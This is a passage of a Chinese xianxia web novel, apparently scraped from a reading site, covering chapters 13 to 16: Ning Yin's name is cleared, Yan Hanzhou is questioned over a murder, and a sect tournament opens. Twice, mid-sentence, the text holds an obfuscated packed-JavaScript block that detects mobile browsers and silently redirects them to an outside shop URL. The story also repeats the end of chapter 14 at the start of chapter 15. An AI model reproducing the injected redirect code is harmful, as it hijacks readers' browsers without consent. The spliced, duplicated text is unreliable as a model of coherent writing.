刚有灵根的宴寒舟竟然要自己炼化神魂之力?宁音很想劝他别太莽撞,但这犟种一言不发就入定,完全不顾自己死活,这两日每每瞧见宴寒舟不是呕血就是面容扭曲面露痛苦之色,悬心不已,唯恐一个他不慎就此爆体而亡。 将光华收入剑鞘,算算时间,若无意外,宴寒舟融魂将成,宁音在一侧盘膝调息稍加休息,竹影婆娑间,忽闻竹林外脚步声由远及近,沙沙作响。 她睁眼望去,只见司鹤羽带着几名内门弟子朝她走来。 无事不登三宝殿。 准保没什么好事。 宁音看了眼还在闭关的宴寒舟,心思千回百转,嘴角挂上一丝假惺惺的笑意,“大师兄,你怎么来了?师姐怎么样了?还好吗?” 算算自禁地出来后已有七日,禁地被重伤昏迷的师云昭至今未醒,她一日不醒,宁音身上背负的残害同门的罪名便一日无法洗清。 “至今昏迷未醒,不过并无大碍。” “那我就放心。”她望向司鹤羽身侧的思勉,“思勉师兄,你可是执法长老座下大弟子,执掌戒律堂,这几日宗门风言风语你没听说吗?都在说我得剑不正,是我使了手段才让光华剑认主,你们戒律堂怎么不严惩那些造谣生事的弟子为我做主?” 思勉眉心微皱,“此事之后再说,今日我与大师兄前来另有要事。” “是,别人的事都是要事,只有我宁音的事不着急,被人冤枉也是我活该,谁让我从前嚣张跋扈,人人都看不惯我。” 司鹤羽与思勉对视一眼,正欲说话,宁音抢先一步说道:“思勉师兄,你到底帮不帮我做主,若是不严惩那些造谣生事的弟子,我可是要向掌门告状的!” “此事你放心,我自会处理。” “那便再好不过,大师兄……” 司鹤羽不与她虚与委蛇浪费时间,目光落在宴寒舟身上,打断她的话,“其他事改日再说,今日我与思勉是来找他的。” “前日有外门弟子周夷被人一剑毙命,据探查,此次宗门小比中外门弟子名单有三,他便是其中之一,如今周夷已死,顶替他参加宗门小比之人,是宴寒舟。” 宁音嗅出司鹤羽话里话外之意,不悦道:“大师兄,你这是什么意思?你怀疑那名外门弟子的死是宴寒舟干的?有证据吗?” “我奉命调查此事,此事既与宴寒舟有关,我自然要来问询一二。” “这几日宴寒舟天天与我在一块,他哪来的机会干这种……”宁音瞥了一眼宴寒舟,忽然想起之前她询问宴寒舟如何参加此次宗门小比时宴寒舟未尽的话,话音一顿,转瞬又严肃道:“违反门规之事,前日我在剑阁挑选我的本命剑,当时在场的弟子都看到了宴寒舟,你若不信可以去问剑阁长老,便知我所言非虚,他成日与我待在一块,哪来的时间去杀人。” “此事我必须当面问他。” “不然二位师兄先行离开,等宴寒舟醒了我告知他此事,让他去找师兄说明缘由?” 司鹤羽狐疑目光望向宴寒舟,“我现在便要带他前去问话!” 说着就要动手。 “不行!”宁音挡在宴寒舟面前,手中光华出鞘,剑指司鹤羽,“若你有证据,现在就把他带走,若没有,暮云峰由不得你乱来!” “宁音,此事乃是掌门亲自过问,你敢拦我?” “有何不敢?掌门也得讲证据,你们诬陷我一次不够,还要诬陷宴寒舟?就逮着我俩好欺负是吧?” “只是带他前去问话,谈何诬陷二字?” “反正我不会让你们带他走!绝不!” 僵持之际,宁音身后的宴寒舟悄无声息睁开双眼,冷冷注视着司鹤羽,嘴角露出一抹讥讽的笑意,“无凭无据便要抓人问罪,冤枉无辜的伎俩还是一如既往的拙劣。” 14.第 14 章 第十四章 司鹤羽与宴寒舟冰冷的目光四目相对。 宴寒舟在凌云宗名声丝毫不逊色于宁音,无外乎他身负废灵根无法修炼,尽管凌云宗门规森严,严禁弟子间争强斗狠勾心斗角,但废灵根在天才云集的凌云宗依然是异类的存在,多有鄙夷不屑。 身为凌云宗大师兄,司鹤羽从未将宴寒舟放在心上过,不认为宴寒舟在修仙之路上能走多远,更不觉得他会有什么威胁。 只是今日,目光交汇间,一股无缘由的警惕之心蓦然而生。 “并非抓你问罪,是带你回戒律堂问话。” 宁音语气不快,“你这兴师动众从我暮云峰抓人去戒律堂,路上被别的弟子看到了,不是他干的也是他干的,风言风语传起来有多快你又不是不知道,造谣一张嘴,避谣跑断腿,有什么话不能在这问?还是说,你想把他抓回去严刑逼供,还是动用搜魂禁术?” “宁音师妹,慎言!” “大师兄身为凌云宗掌门首徒,让我慎言之前,自己更该谨言慎行才对!” “你乃是一介废灵根,为何要参加宗门小比?” “瞧师兄这话说的,还真是站着说话不腰疼,人往高处走,水往低处流,哪个外门弟子不想在宗门小比时出风头,被宗门长老们看上,成为内门弟子?” 宁音寸步不让,一时间几人陷入僵局。 司鹤羽与身侧的思勉对视一眼。 思勉作势动手就要去扣押宴寒舟,宁音一惊,下意识伸手去挡,冷不丁却被思勉反手拦下,动手的同时,司鹤羽掌风已到宴寒舟面门前。 劲风扑面,宴寒舟双眼微眯,眸底寒光乍现,面上却无半分波澜,侧身避过,下一瞬,两人身影已缠斗在一起。 或许是碍于宴寒舟废灵根无法修炼,司鹤羽灵气未动,手脚功夫了得,两人身影一触即分,却又瞬息交错,掌影翻飞,快得令人眼花缭乱。 司鹤羽招式沉稳凌厉,掌风过处隐隐带着飒尔风声,宴寒舟并不与其硬碰硬,身形飘忽若神,闪转间从容不迫,每每于千钧一发之际化解招式,游刃有余。 三五招后,蕴含丝丝灵气的掌风直取宴寒舟面门,宴寒舟却不避不退,运劲于双掌间硬接一掌,一声闷响后,两人身形俱是一晃,连连后退数步,骤然分开。 半空中飘落的竹叶被劲气卷得打着旋儿飞起,空气中无形弥漫着一股肃杀与紧绷之意。 司鹤羽面色沉重看着宴寒舟。 在自己手下能走过五招,他不相信这是一个拥有废灵根的外门弟子能做到的,更让他意外的是,在这五招的试探中,他竟完全没能探出宴寒舟的底细。 一个废灵根的外门弟子,即使无法修炼,又怎么会连一点内功底细也看不出? 看来师尊说得没错。 宴寒舟有问题。 “司鹤羽!你干什么!你不要仗着你是掌门首席弟子就仗势欺人,我要告你!” “大师兄不过是与宴师弟切磋两招罢了,宁音师妹不必如此紧张,”思勉说道:“既然周夷被杀那日宁音师妹与宴师弟在剑阁,此事我们自会调查调查清楚。” 宴寒舟沉声道:“我还是那句话,凡天下断案,必得人证物证俱全,方可定罪量罚,此乃千古不变之理,若你铁证如山,我自会束手就擒,若没有,请滚。” 司鹤羽与思勉身后的弟子皆拔剑怒视。 宴寒舟扫过众人,眼底寒光乍现。 千钧一发之际,有弟子飞奔而来,朝司鹤羽兴奋禀报道:“大师兄,师姐醒了!” “你说什么?!” 师云昭苏醒的消息迅速在凌云宗传开,司鹤羽第一时间赶到凌云峰,这才发现师云昭不仅醒了,更是突破了金丹修为就此跨入元婴境。 “云昭体内有一枚妖丹,昏迷这些时日终于将妖丹炼化,成功突破金丹修为。”掌门无比欣慰看向殿中的师云昭,“我凌云宗年轻弟子中,继鹤羽后又多了一名元婴期的师姐,大家当以她为楷模,勤修不辍!” 殿中闻讯而来的弟子纷纷朝掌门拱手,“是,我等定以云昭师姐为楷模,勤修不辍!” 整齐话语方落,大殿内便响起一声委屈宛转的声音。 “师姐!你终于醒了!” 宁音两眼通红,飞扑到师云昭面前,见着“完好无暇”的师云昭,委屈如同决堤的洪水,化作一串带着哭腔的担忧:“自从禁地中你为了我和宴寒舟去寻出路遭遇妖魔生死不明,从此我便夜不能寐,担心你的安危,现在,你终于醒了!” 殿内弟子对宁音做派不屑一顾。 “你和宴寒舟没事就好。” “没事,我们当然没事,多谢师姐的救命之恩,宁音没齿难忘!”她声音微顿,陡然带上哽咽,“可是,师姐你在禁地为妖魔所害,当日大师兄与诸位同门前去营救,归来后却认定是我与宴寒舟害你至此!这些时日,宗门内风言风语,他们对我二人喊打喊杀,师姐,你可知……” 声音不高,却字字清晰,每一个字都充满了无处诉说的委屈和心酸。 师云昭看了眼司鹤羽,对掌门拱手解释道:“师尊,当日在禁地之中偶遇宁音师妹与寒舟师弟,误打误撞找到了千年前凌霄仙尊留下的秘境,后来在寻找传送阵之际遭遇妖魔偷袭,乃至重伤,与宁音师妹和宴师弟无关,望师尊明鉴。” 有弟子不解:“就算此事不是宁音与宴寒舟所为,那之前师姐你在禁地试炼中坠崖,我们在师姐你坠崖的地方找到了宁音的玉佩,这又是怎么一回事?” 师云昭沉默片刻后回忆道:“禁地试炼中坠崖确实是宁音所为……” 殿中一片哗然。 “但当时宁音身中妖魔幻术认不得人,将我当成了妖魔,所以才会对我出手,此事怪不得她。” “原来如此。”掌门看向宁音与宴寒舟叹息道:“既如此,本座便为你二人澄清真相,洗脱罪名。” “不必了。”宁音深吸口气,拭去眼角的眼泪,昂首挺胸看向大殿上的掌门,“掌门,弟子自知从前桀骜不驯,行事乖张,但天地可鉴,我扪心自问从未行过伤天害理之事!师姐坠崖那日仅凭一个玉佩便要为我定罪,重罚于我,如今真相大白,弟子心灰意冷,无意再辩是非曲直,自请逐出师门,还望掌门成全!” 宁音的声音颤抖,后面的话似被巨大的委屈堵住,眼泪终于滚落。 此言一出,殿内静了一静。 少顷,窃窃私语不断。 “此事真不是宁音干的?” “师姐都这么说了,恐怕是咱们误会宁音了。” “谁让宁音以往嚣张跋扈横行霸道,此事不是她干的,难道她以前干的恶事就少了吗?” 掌门眉心微皱,“宁音,此事是本座的错,未曾查明真相便怪罪于你,如今你有任何要求只管提出,本座一定满足弥补你。” 宁音一脸倔强,“我说了,不需要任何补偿,我只想回家,还望掌门成全我。” 名门正派,却将一名弟子构陷至自请逐出师门,此事若传扬出去,还不知要掀起多少流言蜚语。 “你来凌云宗是拜师学艺,如今还未学成,若是一走了之,多年努力岂不是付之流水?” 宁音低头沉默,委屈可怜的表情心底却是乐开了花。 好不容易澄清真相,当然要站在道德制高点拿捏人心,这事若是三言两语便轻轻揭过,她这些天遭受的白眼和流言蜚语,以及在思过崖受过的冻不是白挨了? 片刻后,她抬头望向掌门,“那我有三个要求。” “你说。” “第一,我要曾经冤枉过我的人向我道歉。” “自然。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16018548|177679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “第二,将此事通报全宗门,并公示一月。” “应该。” “第三,无辜受冤这些日子,思过崖我去过两次,遭受了无数的流言蜚语,身心遭受了巨大的打击和折磨,宗门必须补偿我。” “你想要什么补偿。” “我要……”一时间,宁音还真想不好要什么,想了想小说里那些值钱的东西,一股脑全说了出来,“我要上品灵石一百颗,极品丹药仙草灵宝各五十……” “你这狮子大开口未免也太过分了!” 宁音怒瞪向那名弟子,“过分?我遭受了那么多白眼和流言蜚语,这些日子你知道我是怎么过来的吗?我宁愿什么都不要!” “好了!”掌门沉声道:“这些本座都答应你。” 宁音面上一喜,但很快收敛笑意,“多谢掌门,还有一事想请掌门做主。” “何事?” 宁音连忙将人群后的宴寒舟拉出来,“前日外门弟子周夷被害,至今尚未查找真凶,您座下首席弟子司鹤羽和执法长老座下大弟子思勉今日闯进我暮云峰,无凭无据,想要将宴寒舟抓去戒律堂问罪,我们不从,他们就动手伤人!” “宴寒舟是什么修为整个宗门一清二楚,大师兄他一个元婴和无法修炼的废灵根动手,这不是欺负人吗?” 说着,宁音在宴寒舟背上拍了拍,低声道:“咳!” 宴寒舟配合她低低咳嗽两声。 “您看!都要咳血了!” 思勉站出来恭敬回复道:“启禀掌门,此事并非宁音师妹所言,我与大师兄前去暮云峰不过是询问一二,并非问罪,另外,动手一事……” 宁音激动打断他的话,“是不是动手了,你们说,是不是动手了!” “确实是动手了,但……” “你看!他们都承认动手了,掌门,你要替我们做主啊!” “宁音师妹!大殿之上,不得喧哗!” 宁音瞬间噤声。 掌门看向司鹤羽,“周夷被害一事查得如何了?可有证据?” 司鹤羽摇头。 “若真如你所言,此事确实是鹤羽办事不周,宁音,你欲何为?” 宁音望向宴寒舟。 宴寒舟不动神色朝她摇头。 宁音活泛的心思稍稍沉静下来,见好就收的道理她心里清楚,更何况还有如此多弟子在场。 思及此,她朝司鹤羽高声道:“还望师兄早日查明真相,找到杀害周夷师弟的歹人,还我未婚夫宴寒舟一个清白!” — 当日,在掌门授予下,整个凌云宗贴满了宁音要求的澄清公告。 禁地真相不到一炷香的时间便传遍整个凌云宗。 从凌云宗大殿回暮云峰的路上宁音昂首挺胸,不惧怕任何朝她投来的目光,第一次觉得凌云宗的风是如此的香甜。 “你很高兴。” 宁音嘴里哼着不成调的曲目,“师姐为我作证洗脱了冤屈,这么大的事我当然高兴。” “那你未来有何打算?” 宁音认真思索片刻,“未来,我想改变大家对我的初印象,努力修炼,成为主角团成员,彻底摆脱恶毒女配的命运,若能像师姐一般斩妖除魔行侠仗义最好,若不能……那我希望自己能有自保的能力,在这混乱的修仙世界里平平安安地活下去!” “你想永远呆在凌云宗?” “不然呢?整个九州大陆人仙魔妖混乱不堪,外面很危险的。”她拍拍宴寒舟肩膀,越发觉得前途一片光明,“放心,只要你不乱来,跟着我混,保你相安无恙!” 宴寒舟不由得停下脚步,放眼望去,雕梁画栋的凌云宗恍若仙境,未说出口的话飘散在风中。 九州大陆人仙魔妖混乱不堪,或许,凌云宗会是她最好的归宿。 15.第 15 章 第十五章 当日,在掌门授予下,整个凌云宗贴满了宁音要求的澄清公告。 师云昭禁地坠崖以及在禁地被妖魔重伤的真相,不到一炷香的时间便传遍整个凌云宗。 从凌云宗大殿回暮云峰的路上宁音昂首阔步,不惧怕任何朝她投来的目光,宁音第一次觉得凌云宗的风是如此的香甜。 现如今的她已经度过了最难熬的阶段,这一阶段是原主“宁音”黑化种下心魔的关键时期,之后只需要痛改前非好好做人,与女主搞好关系,在主角光环的笼罩下,她就不信,自己还不能安安稳稳混到大结局! “你很高兴。” 宁音嘴里哼着不成调的曲目,“师姐为我作证洗脱了冤屈,这么大的事我当然高兴,你怎么样?今天司鹤羽找你麻烦动了手,没事吧?” “没事。” “没事就好,司鹤羽他纯属没事找事,没有证据就想抓人,天下哪有这样的道理,本来在大殿之上是想让他给你道歉的,但你冲我摇头我就明白你的意思了,也对,咱们不能把人逼得太紧,大庭广众之下,那么多弟子在场,他一个大师兄多多少少还是得给几分颜面的,毕竟大男主嘛。” 宴寒舟不屑,“道歉有何用。” “也对,抓紧找到真凶还你一个清白才是最重要的。” 清白?宴寒舟不置一词,沉默片刻后问道:“你未来有何打算?” 宁音认真想了想,“未来,我想改变大家对我的初印象,努力修炼,成为主角团成员,彻底摆脱恶毒女配的命运,若能像师姐一般斩妖除魔行侠仗义最好,若不能……那我希望自己能有自保的能力,在这混乱的修仙世界里平平安安地活下去!” “你想永远呆在凌云宗?” 宁音为难皱眉,“整个九州大陆人仙魔妖混乱不堪,外面很危险的。” “这个世界的真相,无论是真是假,往后都不要再与其他人说,你这般不设防,若是遇到心术不正之人,早将你炼去当傀儡了。” “知道了。”要不是看在宴寒舟和自己同不属于这个世界的份上,她才不会将这个宣之于口。她拍拍宴寒舟肩膀,越发觉得前途一片光明,“放心,只要你不乱来,跟着我混,保你相安无恙!” 看着对未来怀揣着美好幻象的宁音,宴寒舟并未戳破。 从未离开过凌云宗,没有经历过人间险恶,总会对人对事有股盲目的憧憬与美化。 经历过一次,什么都懂了。 — 师云昭苏醒并为宁音澄清真相一事如同一颗投入湖中的小石子,湖面虽泛起涟漪,但很快再度恢复平静。 凌云宗小比在即,宗门弟子将大部分精力尽数投入修炼之中,此次宗门小比不仅奖励丰厚,若是能在小比中出尽风头,更有可能获得在不久后代表宗门参加七大宗门大比的机会。 宁音并不在意此次宗门小比的奖励以及参加七大宗门大比的机会,这几日在宴寒舟的指点下修为突飞猛进,驾驭光华得心应手,相信此次上擂台也不会太过丢脸,更何况此次宗门小比点到即止,不许伤人性命。 细数下来,司鹤羽作为掌门首席大弟子,即使和自己有大仇,众目睽睽之下与他对战,他一个元婴修为的大师兄,还能真对自己这个筑基的师妹下狠手? 小说中光华剑的主人虞令仪,虽然与自己有夺剑之仇,宁音相信能成为主角团成员之一,心胸定不会太过狭隘,公报私仇。 除了—— 对自己怀恨在心的桑婉。 桑婉,栖云峰弟子,筑基中期,虽不是主角团成员,但颇有天赋,小说中为情入魔,最终斩断情根,重回正道,突破元婴,成为九州大陆屈指可数的化神强者,后期更是晋升为凌云宗长老,成为凌云宗的中流砥柱。 算是小说里和主角作对后结局很好的人物了。 对于这种偏执却又恨自己入骨的人,宁音只能祈祷自己运气没那么差和她对战。 一连闭关数日,终于到了宗门小比的日子。 凌云宗演武场,十二峰长老亲临,数百名内门弟子整齐排列,宁音站在队伍中间,百无聊赖听着某长老座下弟子讲解这次小比的规则以及注意事项,昏昏欲睡,不由得感叹无论是现实世界还是这修仙世界,赛前动员都一样的流程。 随着掌门一声令下,演武场中央三座巨大擂台矗立其中,擂台边缘,由宗门阵法长老亲手镌刻的繁复符文正幽幽流转,散发出柔和的淡金色光晕,形成一道坚不可摧的结界屏障,将擂台内外彻底隔绝。 与此同时,三座擂台上宗门弟子激斗正酣。 擂台四周人头攒动,各峰弟子或站或坐,挤满了观战席和四周的空地,有的神情专注,默默揣摩台上招式,有的三五成群,兴奋地讨论着刚才的精彩瞬间,更有一些资深弟子,目光锐利,在人群中扫视,寻找着值得关注的好苗子。 灵禽在更高处的天空盘旋,发出清越的鸣叫,整个演武场擂台之上兵刃交击、法术轰鸣、以及人群此起彼伏的呐喊助威声,汇成一股令人血脉偾张的热浪,在凌云宗内激荡回响。 宁音运气还算好,头几场比试没有她的名字,让她能有充足的时间观看比赛,了解同门弟子间修为差距。 但看了几场下来,这些弟子出手之狠实在是有点吓人。 “你们看前几日张贴的澄清公告吗?你们说那上面写的真的还是假的?” “师姐都为她澄清了应该是真的吧。” “那咱们之前岂不是冤枉她了?” “……” “就算是真的那又如何,江山易改本性难移,她从前干的事你们都忘了?远的就不提了,桑婉师妹觉醒灵根之际险些被她给废了,心胸狭隘恶毒,难怪被人冤枉。” “但,一码归一码……” 宁音听着那些窃窃私语的声音,高声道:“来来来,有话到我跟前来说,背后蛐蛐算什么本事?” 说话几人瞬间噤声。 “哼,有什么不敢说的!”有弟子不惧宁音目光,讥讽道:“你不要以为这两次冤枉你,有了掌门的澄清公告你便能翻身,从前你做过的事又岂是这两件事能掩盖过去的。” “远的便不提了,从前桑婉师妹未觉醒灵根之际你是怎么对她的?觉醒灵根后又险些被你废了灵根,禁地试炼中,宗门弟子意外得到的仙草灵兽,你说抢便抢了,外门师弟一句话惹你不开心,你便将人打成重伤,如此种种,若非玉微长老护着你,按门规,你早被逐出师门了!” “……”原主做过的事,宁音还真有些无言以对。 环顾四周望向她的宗门弟子们,眼神中透着疏离与戒心,她先前决定改头换面、扭转众人对自己初印象的决心,此刻不由地动摇了几分。 “桑师妹来了!” “当初桑师妹灵根险些被宁音废了,你说这次宗门小比若是对战宁音,桑师妹会不会有仇报仇有怨报怨,废了宁音的灵根?” “不是说此次比试点到即止吗?” “不伤性命即可。” “说是不伤性命即可,若真在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16029482|177679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比试中下狠手,长老和掌门们不会袖手旁观的。” 人群中,宁音看到了桑婉。 在如此众多的弟子中,她其实并不知道桑婉是谁,只是那人望向她时,眼底明晃晃的恨意很难让人忽略她的存在。 那目光,简直如芒在背,如剑悬颈,如坐针毡。 桑婉一瞬不瞬盯着宁音,缓缓走到她面前。 这是五年以来,桑婉第一次直面记忆中高高在上的宁音,曾经对她的恭敬、胆怯、恐惧,在这一刻化为了无尽的怨恨。 “公主,你是郕国的公主,我是你的子民,不管你打我还是骂我,我从未怨恨过你,但你千不该万不该,断了我与暮迟的婚约,毁了我和暮迟的一生!” 不是……修为都快金丹了还没尝到修行的好处吗?这么恋爱脑的吗? 宁音深吸口气,“强留你在凌云宗这事确实是我不对,没有考虑你的个人意愿,但你有没有想过,当年你上凌云宗,到你觉醒灵根也才一年,一年时间,你的心上人就迫不及待另娶她人,这怎么看你也得感谢我替你筛选了个渣男吧?他若是心中真有你,哪怕是上刀山下火海也不会放弃。” “你说得倒轻巧,一个没有灵根的人,你要他如何上刀山下火海?” 没有灵根?宁音在人群中巡睃,目光触及宴寒舟时朝他招手。 宴寒舟走到她身边。 “介绍一下,宴寒舟,废灵根。” 桑婉知道宁音话里的意思,脸色顿时苍白了些许。 “我也不是向你显摆什么,只是想告诉你,如果真心爱一个人,不管面前什么艰难险阻都会克服,如果克服不了,那是能力问题,但他连试一试的勇气都没有,只能说明他不爱你,你又何必为了一个不爱你的人执着。”她手肘戳了戳宴寒舟,“我说的对不对?” 桑婉坚定的眼神黯淡些许,她恍然后退几步,喃喃道:“我只想和他过普通夫妻生活,是你,是你毁了这一切,我问心无愧!” “好一个问心无愧!”宴寒舟冷笑,“他若爱你便不会一年内娶妻生子,若你真爱他,即使觉醒灵根也能自废灵根下山,和他做一对平凡夫妻,可你没有,你说是宁音拆散了你们,实则你和你的心上人一样虚伪,不敢挣脱这道枷锁,如今却还妄想将罪责推诿他人,既然你将爱情看得如此之重,为何还在凌云宗潜心修炼?若你此刻自废灵根下山去,我还高看你几分。” 此言一出,周遭弟子一片哗然。 “桑婉师妹都这样了你还如此刺激她,你们果然一如既往的尖酸刻薄!” “少胡说八道!你们二人最好祈祷擂台上不要和我对上,否则我绝不会手下留情!” “什么推诿他人,若不是宁音,桑婉师妹早就和她的心上人双宿双飞了!” “桑师妹,你别听他们的话,此事都是宁音的错,你何错之有!” 听到耳畔的哗然,桑婉目光逐渐坚定,望着宁音,一字一句恨声道:“从我上凌云宗的那天起,便已斩断凡尘,我恨自己的无能为力,但我更恨始作俑者,没有暮迟,我所有的一切毫无意义,这次宗门小比我不会手下留情,我会替暮迟向你讨回公道!” 说罢,转身离开。 “……”宁音看着桑婉背影无奈叹气,“修仙世界少谈点恋爱,你看看桑婉,眼看着就要入魔了,多可怕。” 宴寒舟眼神深邃,沉声道:“她修为已到金丹,还未突破全靠自己压制,你不是她的对手。” “她不是想过平凡的夫妻生活吗?我成全她。” 16.第 16 章 第十六章 凌云宗宗门小比第一日,共有十八位弟子站上擂台,其中有八位弟子晋级,两位弟子打成平手,全程点到即止。 宁音当了一天的看客,几个擂台转下来,将几个峰的弟子所出招式以及速度了然于心,这还多亏宴寒舟每天给她创造幻境让巨石怪追她,几次生死攸关之际修为突飞猛进不提,最重要的是,擂台上弟子出招后她能快速在脑中勾勒出应对的招式。 有那么一瞬间她突然明白,自己能有这个反应速度,算是真真切切开始融入这个修仙世界。 唯一无法融入的,也许就只有凌云宗。 她原以为只要师姐帮自己澄清了禁地的真相,所有人都知道自己是冤枉的,或许不会彻底改变大家对自己的态度,但至少也会有所改观才是。 现在看来是自己天真了。 想要改变他人对自己的看法,但依照目前形式而言,她未来不干几件生死攸关之际舍生取义的大事,恐怕都是徒劳。 宁音叹气。 做人难,做反派更难。 暮云峰后山,孤亭临崖,宁音坐在屋顶之上,将整个凌云宗尽收眼底,望着眼前千峰如黛,尽隐于苍茫云海之中。 身后有动静传来,回头一看,竟是宴寒舟。 “我难得偷一次懒,不用被巨石怪追。” 宴寒舟在她身侧坐下,“不是抓你去修炼。” “哦。”宁音兴致缺缺,索性靠躺在屋檐瓦片上,两人一时间无言,气氛顿时有些许尴尬。 忽然宁音想起了什么,坐起来向宴寒舟问道:“我看你到现在手里也没个武器,明天若是上擂台,用不用我借你?” “我不用武器,更何况你的光华我也用不了。” “那你用什么?” “我修炼比较杂,你不用担心我应付不来。” “哦。”话题毕,宁音又陷入沉默中,她望着头顶星空璀璨幽幽道:“我原本以为只要师姐为我澄清真相,从此信心革命重新做人,就能得到大家的接纳,但今天在演武场,大家看我的眼神,我突然就觉得改变他人对自己的看法没那么容易,毕竟我曾经做过那么多错事。” “也许当初在大殿之上趁机与师门一刀两断,回国当个锦衣玉食的公主,从此不再与男女主有一丝丝的纠葛,才是我的最佳选择。” “知道大家为什么依旧认为你罪有应得吗?” “因为我是小说里的反派角色,大反派他挥挥手灭掉百座城池,毁天灭地,那叫魔头,死再多人也无损你的霸气侧漏,但像我这样的,嚣张跋扈欺负弱小,今天抢女主法器,明天抢女主老公,那叫恶毒女配,是会被反复鞭尸骂到大结局的。” “因为嫉妒。”宴寒舟淡然解释道:“你不够强,却能成为玉微仙君座下唯一亲传弟子,你轻而易举占据了宗门太多灵宝,想改变他人对你的看法,你唯有让自己足够强,只有你足够强,那么你的嚣张跋扈,你曾经干过的恶事,自会有人为你辩经。” “……你说得好像挺有道理,但我总感觉哪里不对。” “你的想法太过天真,并不适用这个世界。”宴寒舟望向远处隐匿在云海中的灵禽,“千年前凌霄仙尊一日杀遍三门九派,死伤无数,如此罪孽深重的一个人,却被千年后的人尊称为仙尊,这世界就是如此,欺软怕硬,扒高踩低……” 宴寒舟话还未说完,扭头,宁音正凑近了脑袋目光灼灼打量着自己,“你怎么知道凌霄仙尊一日杀遍三门九派?” 极尽的距离,鼻尖仿佛已然相撞在一起,宴寒舟在她身上闻到了一股极淡的香味,记忆深处那根弦被轻轻拨动。 但他还来不及细想,宁音便匆匆拉开了与他的距离。 晚风袭来,衣袂在料峭山风中微微扬起,微不可闻的香气被吹散在风中。 宴寒舟回过神来,说道:“上次寻天灵泉水时,在《凌霄仙尊·番外篇》这本书里看到的,你的为人如何并不重要,实力自会捍卫你的尊严。” “你说得好像有点道理……”宁音忽然想到了桑婉,她因情入魔后残害无数同门,最后放下屠刀立地成佛后,依然能够得到同门谅解,甚至一跃成为凌云宗长老…… 她望向宴寒舟,“你为什么一直这么有耐心的帮我?” “不是你说的吗?我是你的未婚夫,我们从小一块长大,我们天生一对。” — 宗门小比第二日。 “外门弟子宴寒舟,对战栖云峰,桑婉。” 宁音震惊望向身侧的宴寒舟,在今日来演武场前,她已经做好了与桑婉站在同一擂台上的准备,她都想好了,桑婉与他心上人分离这件事归根究底她是始作俑者,若真对上桑婉,全力以赴,然后,听天命,丢脸她认了,受伤她也认了,桑婉若真废了自己灵根,还有思过崖的天灵泉水在,不怕! 但一到演武场,就听得维持此次宗门小比秩序的戒律堂弟子宣布下一轮比试弟子名单。 宁音为他加油打气,“别紧张,我在台下为你加油!” 下一瞬—— “栖云峰弟子虞令仪,对战暮云峰弟子宁音。” “……” 不是冤家不聚头,真是怕什么来什么。 上一秒宁音还在庆幸自己没有对上桑婉,下一秒自己的对手就是虞令仪,真是一点也逃不过。 宁音认命上了擂台。 不多时,人群中自动隔出一条走道。 数名栖云峰的弟子簇拥着一粉色衣裙女子走到擂台前,谢无虞看了眼擂台上的宁音,低声在虞令仪身侧叮嘱了几句,虞令仪却全无心思听他的嘱咐,目光尽数放在宁音手中的光华剑上。 她走过擂台的结界屏障上了擂台,望着光华剑,眼底的不甘显而易见,“你手中光华自我突破筑基那日起便日日前往剑阁,可五年过去,我始终无法成为它的主人,我不明白它为什么会选择你成为它的主人。” 还能因为什么,还不是因为自己社会主义接班人的身份。 “后来我想了许久,或许光华并非我想象的那般至纯至净,否则也不会认你为主了,”心随意动,虞令仪手中凭空出现一柄通体透明犹如寒冰的长剑,“这把是师兄为我寻来的寒霜剑,今日我便要在这擂台上与你一分高下,我要看看是你的光华厉害,还是我的寒霜更胜一筹!” “宁师妹,请!” 话音刚落,虞令仪身形如惊鸿掠起,剑光化作一道白色寒芒直刺而来,无声无息,却又快到极致,寒霜剑剑尖所指,空气骤然冻结,发出清越嗡鸣声。 宁音不敢小觑,拔剑而上。 “铮——!” 双剑相击,清脆的剑鸣声响彻全场。 寒霜剑的冰寒剑气如潮水般汹涌而来,凝结的寒冰顺着剑身蔓延,试图冻结光华剑的锋芒,宁音能感觉到有一股冰凉刺骨的气息沿着剑身直透手臂,经脉内的灵力流转都似乎被那寒气迟滞了一瞬。 体内灵气疯狂注入光华剑内,一瞬间剑光如晨曦破晓,将剑身那凛冽寒冰寸寸化开。 突然间,虞令仪剑势一变,寒霜剑直取宁音咽喉,猝不及防之下,宁音仰身后折,剑锋擦着鼻尖堪堪掠过,但靠近肩膀处,还是被划开了一道口子。 宁音脸色苍白,周身气息翻腾,显然消耗巨大,鲜血瞬间染红了衣袖,顺着手臂蜿蜒至剑柄,握剑的手心有些滑腻,险些握不住。 她无暇关心自己手臂上的伤势,看向对战的虞令仪,十分不解,不是说好虞令仪是个善良单纯的人设吗?怎么出手这么狠? 宁音还未来得及调整气息,虞令仪已冷笑一声,寒光剑在她腕间倏然一振,霎那间,手中的寒光剑在半空划出无数道寒冰朝她射来。 剑气如北风呼啸,所到之处凛冽寒气弥漫开来,擂台边缘的结界上都凝结了一层薄薄的寒霜。 宁音不与她硬碰硬,险之又险避开那足以冻结血液的剑锋,眼看着虞令仪招式越来越狠厉,她心里清楚,以自己此刻的修为根本不是虞令仪的对手,迟早得败下阵来。 而且以眼下情形而言,虞令仪下手没个轻重,即使输,自己恐怕会被她重伤。 要想走下擂台,唯有赢! 